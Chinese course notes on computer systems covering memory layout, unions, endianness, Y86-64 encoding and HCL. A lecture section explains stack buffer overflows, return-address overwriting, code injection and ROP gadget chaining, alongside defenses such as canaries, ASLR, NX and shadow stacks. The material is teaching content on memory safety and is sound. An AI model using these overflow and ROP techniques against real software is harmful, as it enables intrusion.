int *rows[R] 是指针数组：表内连续存放 R 个指针，所指的每一行可分散。访问 rows[i][j] 要先读第 i 个指针，再读该行的第 j 项；int a[R][C] 只需在一块连续内存中计算偏移。读复杂声明可从变量名出发，按括号、[]、()、* 的结合关系确定“数组、函数、指针”层级。

结构体布局与对齐

结构体成员按声明顺序排列，编译器插入内填充使每个成员地址满足对齐，末尾再补齐使 sizeof(struct) 是最大成员对齐量的倍数。Linux x86-64 常见对齐：char=1、short=2、int/float=4、long/double/指针=8。例如：

struct S { char c; int i; char d; };   // 偏移 0,4,8；sizeof=12
struct T { int i; char c; char d; };   // 偏移 0,4,5；sizeof=8

结构体数组里每个元素都按 sizeof 这个实际跨度排列；不能只把字段大小相加。offsetof(struct S,i) 可以查字段偏移。union 的成员共享同一段内存，大小足以容纳最大成员并满足最大对齐；按不同成员读相同字节时，要考虑端序与表示方式。

数组与结构体布局速查

内容	应记住的规则
一维数组	第 $i$ 项地址为 $base+i\times\operatorname{sizeof}(T)$。
二维数组	T a[R][C] 的第 $(i,j)$ 项地址为 $base+(iC+j)\times\operatorname{sizeof}(T)$。
结构体	字段按声明顺序逐个对齐；整体对齐取成员最大要求；总大小补到整体对齐的倍数。
联合体	成员共享首地址；大小容纳最大成员，再按最大对齐要求补齐。

链表节点的字段与指针

链表把逻辑次序存在 next 指针中，节点不必在内存里连续。一个常见节点定义是：

struct Node {
    int value;
    int index;
    struct Node *next;
};

在本课 Linux x86-64 布局下，value、index、next 的偏移分别为 0、4、8，整体占 16 字节。mov (%rbx),%eax 读取节点值；mov 8(%rbx),%rbx 相当于 p=p->next，读取的是字段中保存的下一节点地址。

GDB 中，若 $rbx 是节点地址，x/2dw $rbx 看两个整数，x/1gx $rbx+8 看 next 指针。节点编号、节点地址、节点值和 next 地址要分别记录。 Bomb Lab 第六关按输入编号选节点，重接 next，再比较相邻节点的 value；最终排序方向由 cmp 的操作数顺序和 jge/jle 等条件决定。

XMM 寄存器里的浮点计算

addss 对一个单精度数加法，addsd 对一个双精度数加法，addps 对 XMM 中多个单精度通道并行加法。movss/movsd 负责相应宽度的浮点传送，cvtsi2sd 把整数转双精度，cvtss2sd 把单精度转双精度。混合参数函数中，指针与整数走通用寄存器，浮点值走 XMM 寄存器；先标出每条转换指令的输入类型，再追踪 %xmm0 中的返回值。

XMM 寄存器：完整名称

浮点与 SIMD 课件使用的 $16$ 个 XMM 寄存器名称为：

%xmm0  %xmm1  %xmm2  %xmm3  %xmm4  %xmm5  %xmm6  %xmm7
%xmm8  %xmm9  %xmm10 %xmm11 %xmm12 %xmm13 %xmm14 %xmm15

每个 XMM 寄存器宽 $128$ 位。课程中的标量单精度用低 $32$ 位，标量双精度用低 $64$ 位。

浮点指令后缀与转换

后缀或指令	标准称呼	含义
ss	scalar single，标量单精度	操作一个 $32$ 位浮点值，如 movss/addss/mulss。
sd	scalar double，标量双精度	操作一个 $64$ 位浮点值，如 movsd/addsd/mulsd。
ps	packed single，打包单精度	并行操作多个单精度值，如 addps。
pd	packed double，打包双精度	并行操作多个双精度值，如 addpd。
cvtsi2ss / cvtsi2sd	整数转单/双精度	整数输入来自通用寄存器或内存。
cvtss2sd / cvtsd2ss	单精度与双精度转换	宽度转换，缩窄时可能舍入。
cvttss2si / cvttsd2si	截断浮点数转整数	tt 表示向零截断。
ucomiss / ucomisd	无序比较标量浮点数	可识别涉及 NaN 的无序比较。

第 8 讲：联合体、内存布局与缓冲区溢出

这一讲把数据表示、地址计算和过程调用连在一起：C 的普通数组访问不会自动检查下标，越界写可以改坏相邻数据，也可能改写返回地址，使 ret 转移到意外位置。对象的合法边界与内存区域的访问权限是两回事；没有报错不代表没有越界。

联合体与结构体的布局

union U1 { char c; int i[2]; double v; };
struct S1 { char c; int i[2]; double v; };

结构体按声明顺序为成员安排不同位置，中间和末尾可以插入 padding；联合体的所有成员从同一地址开始，共用空间。 按本课 ABI，char、int、double 的大小和通常对齐分别为 1、4、8 字节：

类型	c 的偏移	i 的偏移	v 的偏移	整体对齐	sizeof
union U1	0	0	0	8	8
struct S1	0	4	16	8	24

S1 的字节布局是 $\underbrace{1}_{c}+\underbrace{3}_{\text{填充}}+\underbrace{8}_{i}+\underbrace{4}_{\text{填充}}+\underbrace{8}_{v}=24$，共 24 字节。联合体仍有对齐要求：大小至少容纳最大成员，再向整体对齐的倍数取整。写入一个成员会覆盖与其他成员重叠的字节，不能把各成员当作同时独立保存的变量。

教材用树节点说明省空间的用法：内部节点保存左右指针，叶子保存两个 double，两种数据都占 16 字节。把左右指针先组成一个 struct，再与叶子数据放入 union，能复用空间；另设标签区分内部节点与叶子。标签、对齐和联合体一起计入整个节点的大小。

位模式重解释与数值转换

typedef union {
    float f;
    unsigned u;
} bit_float_t;

float bit2float(unsigned u) {
    bit_float_t arg;
    arg.u = u;
    return arg.f;
}

这个 C 课例先写入 unsigned，再按 float 解释同一组位；(float)u 则转换数值。

操作	得到什么
bit2float(1u)	位模式 0x00000001，数值为最小正非规格化数 $2^{-149}$。
(float)1u	数值 1.0f，位模式 0x3F800000。
float2bit(1.0f)，按课件反向函数	整数位模式 0x3F800000，十进制 1065353216。
(unsigned)1.0f	数值 1。

0x00000001 的指数域为零，小数域最低位为一，因此 $M=2^{-23}$、$E=-126$，得到 $2^{-149}$。教材的 double 与 unsigned long 例子也遵循同一原则：保持位模式与保持数值是不同的转换目标。

同一组字节的端序解释

课件依次将 0xF0+j 写入 c[j]。无论大小端，从低地址到高地址的八个字节都是：

偏移    0   1   2   3   4   5   6   7
字节   F0  F1  F2  F3  F4  F5  F6  F7

将同一 union 作为 short、int、long 读取，先取对应起点和宽度，再按端序组装：

读取项	大端，long 为 4 字节	小端，long 为 4 字节	Linux x86-64 小端，long 为 8 字节
c[0]	0xF0	0xF0	0xF0
s[0]	0xF0F1	0xF1F0	0xF1F0
s[1]	0xF2F3	0xF3F2	0xF3F2
i[0]	0xF0F1F2F3	0xF3F2F1F0	0xF3F2F1F0
i[1]	0xF4F5F6F7	0xF7F6F5F4	0xF7F6F5F4
l[0]	0xF0F1F2F3	0xF3F2F1F0	0xF7F6F5F4F3F2F1F0

小端把最低有效字节放在最低地址，大端反之；一个字节内部的位序不翻转。逐字节读取的 c[j] 不变，数组下标也不倒序。i[1] 从偏移 4 开始，与 i[0] 是不同的四字节范围。类型宽度由 ABI 决定，本讲的 Linux x86-64 中 long 为 8 字节；“64 位机器”本身不能决定所有类型宽度。

进程的虚拟地址空间

课件中的内存布局图表示一个进程的虚拟地址空间，代码、静态数据、动态对象和调用栈位于不同映射区域。

区域	常见内容	读题时的区别
Text	程序机器指令	函数代码所在位置。
静态数据	全局变量、局部 static 对象	有静态存储期；初始化数据与零初始化数据还可分区。
只读数据	字符串常量等	读取这些字节不代表可以修改。
Heap 与其他动态映射	malloc 等分配的对象	分配器可使用传统堆或独立映射。
Shared libraries	共享库代码及数据映射	各映射的权限可以不同。
Stack	栈帧、需要内存的局部对象、返回地址	随调用分配和释放，容量受资源限制。

int global;
int main(void) {
    int local = 0;
    char *p = malloc(256);
    /* 使用分配的对象 */
    free(p);
}

global 是静态存储对象；local 和指针变量 p 是自动局部对象，编译器可将它们放在栈或寄存器中。p 指向的 256 字节是动态分配对象。变量 p 本身的位置与 p 指向的数据位置要分别回答。对局部变量取地址，通常要求它具有可访问的内存位置。

栈帧常通过 subq $N,%rsp 向低地址分配，通过 addq $N,%rsp 释放；数组元素则按下标增加向高地址排列。课件的 8 MiB 栈上限和具体地址是示例，不能当作所有进程固定不变的值。

递归耗尽栈与对象越界

课件递归函数每层声明 int a[1<<15]。按 int 为 4 字节计算，每层数组占 $4\times2^{15}=128$ KiB；8 MiB 只算数组约容纳 64 层，实际还需返回地址和其他栈帧内容。未返回的各层都保留自己的对象，深递归可能耗尽栈。

现象	原因
Stack overflow，栈空间耗尽	累计调用帧超过可用栈资源，单个数组访问仍可能在界内。
Buffer overflow，缓冲区溢出	写入超出某个对象分配的边界，可以发生在栈、堆或静态存储中。

越界不一定立刻触发异常。CPU 通常检查映射和权限，不知道某四个字节属于数组还是旁边的成员；写入同一可写区域内的相邻对象，也可能正常完成。

越界写改变相邻的 double

typedef struct {
    int a[2];
    double d;
} struct_t;

double fun(int i) {
    volatile struct_t s;
    s.d = 3.14;
    s.a[i] = 1073741824;  /* 0x40000000 */
    return s.d;
}

a[0]、a[1] 分别占偏移 0～3、4～7；d 占 8～15。a[i] 的机器级地址计算是 $\mathrm{base}+4i$，所以课件中 $i=2$ 写到 d 的低 $32$ 位，$i=3$ 写到高 $32$ 位。

3.14 的 double 编码为 0x40091EB851EB851F。在本例的小端布局下：

i	字节效果	示例返回值
0 或 1	写入合法的数组元素	3.14
2	d 的低半部被换成 0x40000000	约 3.1399998665
3	d 的高半部被换成 0x40000000	约 2.0000006104
更大的越界下标	可能破坏其他栈状态	取决于实际布局和保护。

volatile 不提供边界检查。C 越界访问是未定义行为，上表用于解释课件指定布局中的字节效果；不能把某个下标对应的崩溃或数值当作通用语言规则。

字符串容量与终止零

gets 只有目的地址，没有目的容量参数，读到换行或 EOF 后还会追加 \0。即使扩大数组，也没有在接口上限制输入长度。C11 已移除 gets，课件保留它用于展示这种漏洞。

长度为 $L$ 的普通 C 字符串需要 $L+1$ 字节。对 char buf[4]，最多容纳三个字符加终止零。strcpy 连同终止零复制，strcat 要计算已有字符串与追加字符串的总长度；不设宽度的 %s 输入也可能超出容量。

char buf[4];
if (fgets(buf, sizeof buf, stdin) != NULL)
    puts(buf);

成功时 fgets 最多读取容量减 1 个字符，再补终止零；换行可能保留，超长行的剩余输入可能仍在输入流。scanf("%3s",buf) 对四字节 buf 最多读三个字符，再加终止零，但 %s 以空白分隔，不等同于按行读取。

strncpy(dst,src,n) 的 n 必须不超过目标可用容量；源前 n 字节没有零时，复制结果不会自动以零结尾。puts 输出传入字符串，不往 buf 写数据，但需要输入是可访问且以零结尾的字符串。

从 echo 的汇编算出返回槽

课件使用 char buf[4]，其无 canary 示例汇编为：

echo:
    subq $24, %rsp
    movq %rsp, %rdi
    call gets
    movq %rsp, %rdi
    call puts
    addq $24, %rsp
    ret

设分配后 $R[\mathtt{rsp}]=B$，即 buf 的起点。返回槽原先在入口栈顶，减去 $24$ 后位于 $B+24$：

相对 B 的偏移	内容
0～3	buf 的四字节合法范围。
4～23	此版本分配的额外空间。
24～31	八字节返回地址。

栈帧分配 24 字节不代表 buf 容量是 24。 教材 3.10.3 的 echo 使用 buf[8]，其展示的栈帧也分配 24 字节：合法容量与 padding 数量不同，但这两份示例的返回槽偏移相同。题目给出汇编时，以实际的 rsp 变化和对象起点计算。

输入 $L$ 个非换行字符时，字符写在偏移 $0\sim L-1$，终止零写在偏移 $L$：

L	终止零位置	课件 buf[4] 是否越界	是否碰到返回槽
3	$B+3$	否	否
4	$B+4$	是	否
23	$B+23$	是	否
24	$B+24$	是	是

正常 call echo 的下一条指令在 0x4006F6，因此保存的返回地址是它，而不是 call 自身或 echo 的入口。小端存储的八字节为：

原返回地址：F6 06 40 00 00 00 00 00
L=24 写零：00 06 40 00 00 00 00 00

修改后 ret 读到 0x400600，从错误位置继续执行，课件示例随后崩溃。计算字符串覆盖范围必须包含终止零；“23 个字符没有崩溃”仍然是越界。

返回地址篡改与代码注入

P 调用 Q 时，call 把返回到 P 的地址 A 压栈；Q 的 ret 按普通栈顶的八字节确定下一执行地址。如果越界输入把 A 改成 S，Q 就尝试跳到 S。

方式	改写后的返回目标	代码在哪里
跳到已有代码	程序或库中的 S	已存在的可执行区域。
代码注入	输入缓冲区地址 B	输入中提供机器指令字节。

代码注入还需要目标地址可确定、该内存允许执行。读、写、执行是不同权限；能把字节写进去，并不意味着 CPU 可以在那里取指执行。地址写入栈槽时也按小端编码，例如 0x4006FB 存成 FB 06 40 00 00 00 00 00。

课件的 Internet worm 和 IM War 案例说明，网络输入能够触发本地内存错误并影响程序行为。蠕虫可以独立运行并传播，病毒通常附着于其他程序；核心知识是输入长度、内存覆盖与执行位置之间的联系。

防护机制分别作用于哪个环节

机制	做法	主要作用	仍需注意
正确容量与边界检查	访问前验证长度、下标或目标范围	阻止非法读写发生	检查应覆盖实际访问。
栈随机化／ASLR	改变相关映射的起始位置	降低目标地址的可预测性	不直接检查对象边界。
不可执行栈／NX	栈页缺少执行权限	阻止在栈上执行注入代码	栈仍可写，已有代码仍可执行。
Stack canary	在栈帧设置 guard，返回前比较	检测改变哨兵的栈覆盖	未改变哨兵的破坏不一定被发现。
Shadow stack	保护返回地址副本，返回时核对	检测普通返回槽被篡改	不检查一般业务数据的边界。

课件先讲栈地址随机化，教材介绍更广的 ASLR。是否随机化程序代码、库和其他区域取决于可执行文件与系统配置；不能从“栈随机化”推导所有 gadget 地址都未知，也不能将课件的固定代码地址视为现代程序统一规则。

Canary 的设置与检查

课件与教材的 Linux x86-64 示例从线程局部存储读取 guard，复制到栈帧，再在返回前核对：

    movq %fs:0x28, %rax
    movq %rax, 8(%rsp)
    xorl %eax, %eax
    # 正常函数体
    movq 8(%rsp), %rax
    xorq %fs:0x28, %rax
    je normal_return
    call __stack_chk_fail
normal_return:
    addq $24, %rsp
    ret

%fs:0x28 访问 FS 基址加偏移 0x28 的内存；$\mathtt{0x28}=40$，因此与教材的 %fs:40 是同一偏移写法。相同值异或为零，$\mathrm{ZF}=1$，je 允许正常返回；不同则调用失败处理。guard 不是一般题目中可以随意假定的固定常量。

以这段汇编分配后 $R[\mathtt{rsp}]=B$ 为基准，课件的 buf 在 $B\sim B+3$，canary 在 $B+8\sim B+15$，返回地址在 $B+24\sim B+31$。输入七个字符时终止零在 $B+7$，已经越界但未触及 canary；八个字符的零开始写到 canary，能否检测取决于是否实际改变 guard。

GCC 的 -fstack-protector、-fstack-protector-strong 等选项决定哪些函数插入保护。stack smashing detected 对应 guard 比较失败；Segmentation fault 则来自无效访问等异常机制，二者不能互相替代。

ROP 与 gadget 的串联

ROP（Return-Oriented Programming，返回导向编程）复用已有可执行代码。本讲的 gadget 是以 ret 结束的短指令片段；栈存放地址序列，指令仍在代码区域，不需要把栈设为可执行。

# G1 起点 0x4004D4
leaq (%rdi,%rdx,1), %rax
ret

# G2 起点 0x4004DC
movq %rax, %rdi
ret

G1 计算 $R[\mathtt{rax}]=R[\mathtt{rdi}]+R[\mathtt{rdx}]$，G2 将结果写回 rdi。假设 echo 返回前 $R[\mathtt{rsp}]=R$，栈上依次保存 G1、G2、后续目标 T：

执行位置	ret 读取的位置与目标	执行后 rsp
echo	$M_8[R]$ 为 G1	$R+8$
G1	$M_8[R+8]$ 为 G2	$R+16$
G2	$M_8[R+16]$ 为 T	$R+24$

最终 $R_{\mathrm{new}}[\mathtt{rdi}]=R_{\mathrm{old}}[\mathtt{rdi}]+R_{\mathrm{old}}[\mathtt{rdx}]$。这里两个片段只在 ret 时消耗栈地址；若 gadget 还包含 pop，必须同时计算它消耗的数据槽。

G2 来自同一字节流的不同入口：

0x4004D9：C7 07 D4 48 89 C7 C3

从 D9 解码是 movl $0xC78948D4,(%rdi)，接 ret；从 DC 解码则是 48 89 C7 对应的 movq %rax,%rdi，接 C3 的 ret。x86 的变长编码允许从原指令内部开始形成新序列。

NX 不直接阻止代码复用；ROP 本身也不自动跨过 canary 检查，还要求能控制返回槽并确定可用 gadget 地址。固定长度指令同样可能有可复用片段，不能据此断言其他架构没有 ROP。

防护方法	修改用户源代码	重新编译用户程序	更换新的 CPU 硬件
使用 fgets 等有界库函数	是	是	否
栈初始位置随机化	否	否	否
内存权限设置“可执行”位	否	否	是
Canary 哨兵机制	否	是	否

有界输入要修改调用并重新编译；栈初始位置可由系统随机化；可执行位需要硬件支持；canary 可由编译器插入，无需手改源代码。该卷将可执行位一行判为“更换 CPU：是”，按课程比较新增硬件能力的口径记忆。实际机器已经支持 NX 时，启用它通常不需要再换 CPU；题目给定硬件前提时应依前提判断。

课堂补充：数据破坏、边界检查与影子栈

struct Session {
    char password[8];
    int is_admin;
};

password 的越界输入可能改变邻接的 is_admin；程序随后使用该标志，就已经改变了业务行为。这个过程无需注入指令，也未必碰到返回地址。因此返回地址保护与一般数据访问保护各有目标。

长度为 $N$ 的数组、类型为有符号整数的下标 $i$，其合法条件是 $0\le i<N$：

if (i < 0 || i >= N)
    abort();
a[i] = x;

只检查上界会漏掉负下标。语言运行时或容器若保留长度信息，就可以在访问前检查；编译器证明访问始终在界内时，可以合并或消除部分检查，具体开销随实现而异。C++ 的原生数组也可能越界，vector::at 才明确提供范围检查。

影子栈将返回地址的可信信息与普通可写局部数据分开。以 Intel CET 为例，call 在普通栈和受保护的影子栈都记录返回地址，ret 核对两个副本，不一致触发控制保护异常。它针对返回地址完整性，仍需结合数据访问检查；支持此功能与实际启用也不同。

第 9 讲：Y86-64 指令集与逻辑设计

本讲对应《深入理解计算机系统》第 4 章 §4.1 Y86-64 指令集体系结构、§4.2 逻辑设计和硬件控制语言 HCL。前几讲从程序员角度解释汇编，本讲开始研究：CPU 需要保存哪些状态，怎样用电路实现每条指令规定的行为。

ISA：程序与处理器之间的约定

ISA（Instruction Set Architecture，指令集体系结构）规定程序能看到的状态、指令的功能与编码，以及异常行为。例如 addq 必须把什么相加、结果放在哪里，属于 ISA；内部用多少电路、是否采用流水线，属于处理器实现。

同一 ISA 可以有不同实现，只要程序可观察到的行为符合约定。Y86-64 是本课用于设计处理器的简化指令集，借用了 x86-64 的寄存器和部分指令语义，但机器码与指令能力都不能直接按 x86-64 套用。

程序员可见状态	Y86-64 中的含义
寄存器文件 RF	$15$ 个 $64$ 位程序寄存器，省略 %r15；%rsp 用于维护栈。
条件码 CC	ZF、SF、OF 三个标志，由整数运算指令更新。
程序计数器 PC	保存当前待执行指令的地址；执行后决定下一条指令的位置。
内存 M	按字节编址，保存指令和数据；多字节数采用小端序。
程序状态 Stat	表示正常运行、停机、地址错误或非法指令。

这里把 $8$ 字节操作数称为一个字；不要与 x86 指令后缀中 word=2 字节的称呼混淆。用 $R[r]$ 表示寄存器 r 中的值，用 $M_1[a]$、$M_8[a]$ 分别表示从地址 a 读出的 $1$、$8$ 字节。

寄存器编号与 RNONE

寄存器编号占 $4$ 位，按下面的编码读取，不是按函数参数的顺序编号：

ID	寄存器	ID	寄存器
0	%rax	8	%r8
1	%rcx	9	%r9
2	%rdx	A	%r10
3	%rbx	B	%r11
4	%rsp	C	%r12
5	%rbp	D	%r13
6	%rsi	E	%r14
7	%rdi	F	RNONE，无寄存器。

F 不是 %r15。它用于表示这个字段没有寄存器，或者禁止一个寄存器写端口。例如 irmovq 没有源寄存器，编码中的 rA 固定为 F。

指令编码：首字节、寄存器字节与常数字段

一条 Y86-64 指令占 $1$～$10$ 字节：

$$\underbrace{\mathrm{icode}:\mathrm{ifun}}_{1\text{ 字节}} \quad\underbrace{r_A:r_B}_{\text{可选，}1\text{ 字节}} \quad\underbrace{\mathrm{valC}}_{\text{可选，}8\text{ 字节}}$$

首字节高四位 icode 选择指令类别，低四位 ifun 选择该类别内的功能。 冒号表示把两个四位字段拼成一个字节。例如 61 表示 icode=6 的整数运算类，ifun=1 进一步指定减法；不是两个字节，也不是四个字节。

指令	编码布局	长度	作用
halt	00	$1$	停止执行，状态设为 HLT。
nop	10	$1$	不改变数据，继续下一条。
rrmovq rA,rB	20 rArB	$2$	寄存器复制到寄存器。
cmovXX rA,rB	2f rArB	$2$	条件满足才复制；f 是条件功能码。
irmovq V,rB	30 FrB V	$10$	立即数复制到寄存器。
rmmovq rA,D(rB)	40 rArB D	$10$	寄存器写入内存。
mrmovq D(rB),rA	50 rArB D	$10$	内存读入寄存器。
OPq rA,rB	6f rArB	$2$	加、减、与、异或，并更新 CC。
jXX Dest	7f Dest	$9$	按条件跳转，或继续顺序执行。
call Dest	80 Dest	$9$	返回地址压栈，再跳到 Dest。
ret	90	$1$	从栈弹出返回地址，赋给 PC。
pushq rA	A0 rAF	$2$	栈指针减 $8$，在新栈顶写数据。
popq rA	B0 rAF	$2$	从旧栈顶读数据，同时维护栈指针。

表中的 V、D、Dest 各占 $8$ 字节，都是小端编码。Y86-64 的跳转和调用目标直接编码为绝对地址，不是 x86-64 常见的 PC 相对位移。 寄存器指示字节的高四位是 rA，低四位是 rB；即使在 mrmovq 中 rA 是目的寄存器，也仍放在高四位。

addq   %rax, %rsi            # 60 06
rrmovq %rsp, %rbx            # 20 43
irmovq $0xabcd, %rdx         # 30 f2 cd ab 00 00 00 00 00 00
mrmovq -12(%rbp), %rcx       # 50 15 f4 ff ff ff ff ff ff ff
rmmovq %rsi, 0x41c(%rsp)     # 40 64 1c 04 00 00 00 00 00 00

编码 mrmovq -12(%rbp),%rcx 时，目的 %rcx 的编号是 1，基址 %rbp 的编号是 5，所以寄存器字节是 15；位移 $-12$ 的 $64$ 位补码是 0xFFFFFFFFFFFFFFF4，按小端写成 F4 FF ... FF。端序只改变多字节常量的字节排列，不交换首字节中的 icode/ifun，也不交换 rA/rB。

比 x86-64 少了哪些能力

Y86-64 用 i/r/m 区分立即数、寄存器、内存，例如 mrmovq 是 memory → register。它没有通用的 movq 来统一所有传送方向，也不支持直接内存到内存、立即数到内存的传送。

基本 Y86-64 的算术只作用于寄存器；访存地址只有基址加位移 $R[r_B]+D$。 没有第二个索引寄存器和比例因子，没有基本指令 lea/cmp/test，也不能直接执行 addq $1,%rax。需要把常量装入寄存器，再执行寄存器加法。

x86-64 中常见的写法	基本 Y86-64 的实现思路
addq $1,%rax	先 irmovq $1,%r8，再 addq %r8,%rax。
addq (%rdi),%rax	先 mrmovq 0(%rdi),%rdx，再 addq %rdx,%rax。
testq %rdx,%rdx	用 andq %rdx,%rdx 更新 CC，寄存器值不变。
a[i] 的比例寻址	用寄存器逐次增加元素的字节宽度，或另行计算地址。
cmpq %rsi,%rdi	复制被减数到临时寄存器，再 subq；避免毁掉还要使用的原值。

OPq 的功能码为：addq=0、subq=1、andq=2、xorq=3。减法方向仍是目的减源：

$$\mathtt{subq}\ r_A,r_B:\quad R[r_B]\leftarrow R[r_B]-R[r_A]$$

条件码、条件传送与跳转

只有 OPq 更新基本 Y86-64 的 ZF/SF/OF。地址计算、压栈、出栈、调用和普通传送虽然也可能使用 ALU 做加减，但不因此改写 CC。 andq、xorq 的 OF 为 $0$。Y86-64 不提供 CF，也不提供基本的 ja/jb 无符号跳转组。

设 $L=\mathrm{SF}\oplus\mathrm{OF}$，其中 $\oplus$ 是异或。条件码的组合沿用前面有符号比较的规则：

ifun	条件后缀	条件成立时	对应跳转
0	无条件	$1$	jmp
1	le	$L\lor\mathrm{ZF}$	jle
2	l	$L$	jl
3	e	$\mathrm{ZF}$	je
4	ne	$\lnot\mathrm{ZF}$	jne
5	ge	$\lnot L$	jge
6	g	$\lnot L\land\lnot\mathrm{ZF}$	jg

cmovXX 与 jXX 使用相同的条件，但前者决定是否写目的寄存器，后者决定下一条 PC 取哪个地址。条件不满足的 cmovXX 保留目的寄存器原值，PC 仍增加 $2$，不会自动清零目的寄存器。

栈、调用与程序状态

Y86-64 栈沿低地址增长，%rsp 指向当前栈顶。栈顶是最近压入的位置，不是最高地址。 设执行前栈指针为 S：

指令	读写内存	栈指针与控制流
pushq rA	$M_8[S-8]\leftarrow R_{\mathrm{old}}[r_A]$	$R[\mathtt{rsp}]\leftarrow S-8$，顺序继续。
popq rA	从 $M_8[S]$ 读出数据	通常 $R[\mathtt{rsp}]\leftarrow S+8$，数据写入 rA。
call Dest	$M_8[S-8]\leftarrow\mathrm{PC}+9$	栈指针减 $8$，$\mathrm{PC}\leftarrow\mathrm{Dest}$。
ret	从 $M_8[S]$ 读出返回地址	栈指针加 $8$，PC 取读出的地址。

pushq %rsp 压入的是修改前的栈指针值 S。popq %rsp 中弹出值对 %rsp 的写入优先，最终 %rsp 等于旧栈顶保存的数，不一定是 $S+8$；它的硬件原因见第 10 讲的两个写端口。

状态	含义
AOK	正常执行。
HLT	遇到 halt，正常停止模拟程序。
ADR	取指地址或数据访问地址非法。
INS	遇到非法指令。

HLT 是停机状态，不等于程序出错。 本课简化处理器遇到非 AOK 状态就停止；更完整的系统可以进入异常处理程序。

用 Y86-64 写程序：数组指针每次加八

课件用以 $0$ 结尾的 long 数组演示计数。%rdi 指向当前元素，%rax 保存已计数的元素个数，%r8/%r9 保存常数 $1/8$：

len:
    irmovq $1, %r8
    irmovq $8, %r9
    xorq %rax, %rax
    jmp Test
Loop:
    addq %r8, %rax
    addq %r9, %rdi
Test:
    mrmovq 0(%rdi), %rdx
    andq %rdx, %rdx
    jne Loop
    ret

每次读取当前元素，用 andq 判断是否为零；非零才计数并移动指针。指针加 $8$ 字节，不是把地址加 $1$，也不是给元素数值加 $8$。 jne 必须读取刚才测试元素产生的 CC，不能误用别的加法留下的 CC。

.pos 指定随后代码或数据的放置地址；.align 8 按 $8$ 字节对齐；.quad 放入一个 $8$ 字节常量。它们是汇编器伪指令，不是 CPU 执行的指令。独立的 Y86-64 示例通常自己初始化 %rsp，通过 call 进入主过程，再用 halt 结束；栈与代码、数据应放在互不覆盖的区域。

yas len.ys
yis len.yo

yas 把 Y86-64 汇编 .ys 转为目标代码文本 .yo；yis 按 ISA 模拟这些指令，报告状态、寄存器和内存变化。它们是课程工具，不是普通 gcc 的另一组默认命令；.yo 也不是可以直接交给本机 x86-64 CPU 执行的 ELF 文件。

CISC 与 RISC 的比较

课件用 x86 和 MIPS 说明两种传统设计思路：CISC 倾向支持更多复杂操作和寻址方式；早期 RISC 倾向使用较简单、规则的指令和 load/store 结构，由加载、存储指令访问数据内存，算术主要在寄存器之间完成。

MIPS 示例的 addu $3,$2,$1 把结果放在第一个操作数 $3，与本课 AT&T 的“目的在后”不同；这里 $3 是寄存器名，不是立即数。Y86-64 的数据访存与运算分离，编码仍是变长，并保留 CC 和栈指令，因此不能简单等同于 MIPS。

RISC 的“精简”不表示每项任务只需更少指令，也不表示所有 RISC 都没有条件码。 ISA、指令条数和执行速度是不同问题；真实速度还取决于具体处理器实现。

组合逻辑：根据当前输入计算输出

逻辑 $0/1$ 用电压范围表示。门电路可计算与、或、非等布尔函数；信号变化后，输出经过一定传播延迟才稳定。组合电路由无环的逻辑门网络组成，没有保存历史的状态，稳定输出由当前输入决定。

部件	输入与输出	在处理器中的用途
比较器	判断两个位串是否相等或满足某个关系	识别指令类别、判断条件。
多路选择器 MUX	控制信号决定把哪一路数据送到输出	选择 ALU 输入、内存地址和新 PC。
ALU	两个数据输入与功能选择，产生运算结果	数据运算、地址计算、栈指针加减。

单个位相等的判断可写成：

$$\mathrm{eq}=(a\land b)\lor(\lnot a\land\lnot b)=\lnot(a\oplus b)$$

整字相等要求每个对应位都相等，再把这些结果做与。MUX 则不要求两路输入相等，只选择其中一路：

$$\mathrm{out}=(s\land a)\lor(\lnot s\land b)$$

这里 $s=1$ 选择 a，$s=0$ 选择 b；字级 MUX 用同一个选择信号控制所有位。ALU 也是组合逻辑，本身不会记住上一条指令的结果；需要保留的结果要写入寄存器或内存。

HCL：描述电路怎样选择数据

HCL（Hardware Control Language）用于描述硬件的控制逻辑。bool 表示布尔信号，课件的 int 表示字级信号，不表示 C 语言固定 $32$ 位的 int。具体信号可以是 $4$ 位寄存器 ID，也可以是 $64$ 位数据。

bool eq = (A == B);
bool need = icode in { IOPQ, IRMMOVQ, IMRMOVQ };
int Out = [
    s : A;
    1 : B;
];

in 是集合成员判断，相当于若干相等比较做或。方括号中的 case 表达式从上到下选取第一个条件为真的值；1 : B 是兜底分支。结果是一个数值，不是布尔值，也不表示把 A、B 的位做或。

HCL 代码描述的是电路连接与选择关系，不是 CPU 在逐行执行这些语句。case 的优先次序规定选谁，不代表硬件必须用多个时钟逐项尝试。四选一的例子：

int Out4 = [
    !s1 && !s0 : D0;
    !s1        : D1;
    !s0        : D2;
    1          : D3;
];

控制位 00/01/10/11 分别选 D0/D1/D2/D3。第二行只有在第一行没匹配时才起作用，因此可省略对 s0 的检查。最小值的比较还要覆盖相等情况，例如：

int Min3 = [
    A <= B && A <= C : A;
    B <= A && B <= C : B;
    1                : C;
];

如果把这里两个候选的 <= 都写成严格 <，当 $A=B<C$ 时，两行都会失败而误选 C。选择逻辑要同时想清楚优先级与相等时的结果。

时钟与存储：把本周期的结果留到下一周期

组合逻辑负责算，存储部件负责记。 时钟寄存器在上升沿采样输入，其他时间保持输出。例如输入已从 x 变成 y，输出仍可保持 x，直到下一个上升沿才变成 y。

$$Q_{t+1}=D_t\qquad\text{在有效时钟沿更新}$$

程序寄存器 %rax 等是 ISA 中可读写的名字；硬件寄存器还可用于保存 PC、CC 等状态，二者不是完全相同的集合。寄存器文件把多个程序寄存器组织在一起，通过寄存器 ID 选择读写对象。

操作	本课寄存器文件与内存的简化时序
读	地址或寄存器 ID 改变后，经过延迟输出对应内容，作为组合读路径处理。
写	在有效时钟沿，将准备好的数据写入指定位置；是否写由控制信号决定。
多端口	可在同一周期读多个寄存器，并独立指定写回位置。

寄存器文件内部有存储，所以它整体不是组合电路；它的读接口可以像组合逻辑那样使用。SEQ 会使用两个读端口 A、B 和两个写端口 E、M。

课件累加器的 Load 为 $1$ 时装入新输入，为 $0$ 时把输入累加到旧值。反馈经过寄存器，因此上一周期的结果能成为本周期输入，不构成纯组合逻辑的无状态环路：

$$Q_{t+1}=\begin{cases} I_t,&\mathrm{Load}=1\\ Q_t+I_t,&\mathrm{Load}=0 \end{cases}$$

附加页进一步说明存储电路：双稳态元件可保持 $0/1$；D 锁存器在使能期间透明，而边沿触发的存储只在时钟沿附近采样。本讲理解 SEQ 时，主要使用时钟沿更新状态、周期中传播组合信号这一模型。

第 10 讲：Y86-64 的顺序实现 SEQ

